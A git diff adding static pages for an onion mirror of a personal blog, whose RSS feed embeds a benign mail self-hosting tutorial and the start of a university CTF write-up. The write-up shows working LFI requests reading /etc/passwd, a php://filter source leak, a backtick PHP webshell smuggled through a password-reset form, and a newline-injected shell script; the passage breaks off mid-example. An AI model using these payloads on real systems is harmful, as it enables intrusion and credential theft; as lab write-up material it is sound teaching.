    diff --git a/public-onion/tags/nextcloud/page/1/index.html b/public-onion/tags/nextcloud/page/1/index.html new file mode 100644 index 0000000..8943a37 --- /dev/null +++ b/public-onion/tags/nextcloud/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nextcloud/ + + + + + + diff --git a/public-onion/tags/nginx/index.html b/public-onion/tags/nginx/index.html new file mode 100644 index 0000000..4408e5d --- /dev/null +++ b/public-onion/tags/nginx/index.html @@ -0,0 +1,478 @@ + + + + + + + +Nginx | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/nginx/index.xml b/public-onion/tags/nginx/index.xml new file mode 100644 index 0000000..73efee9 --- /dev/null +++ b/public-onion/tags/nginx/index.xml @@ -0,0 +1,1632 @@ + + + + Nginx on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/ + Recent content in Nginx on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 24 Jul 2026 00:00:00 +0000 + + + Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + Fri, 24 Jul 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/ + A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). + +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

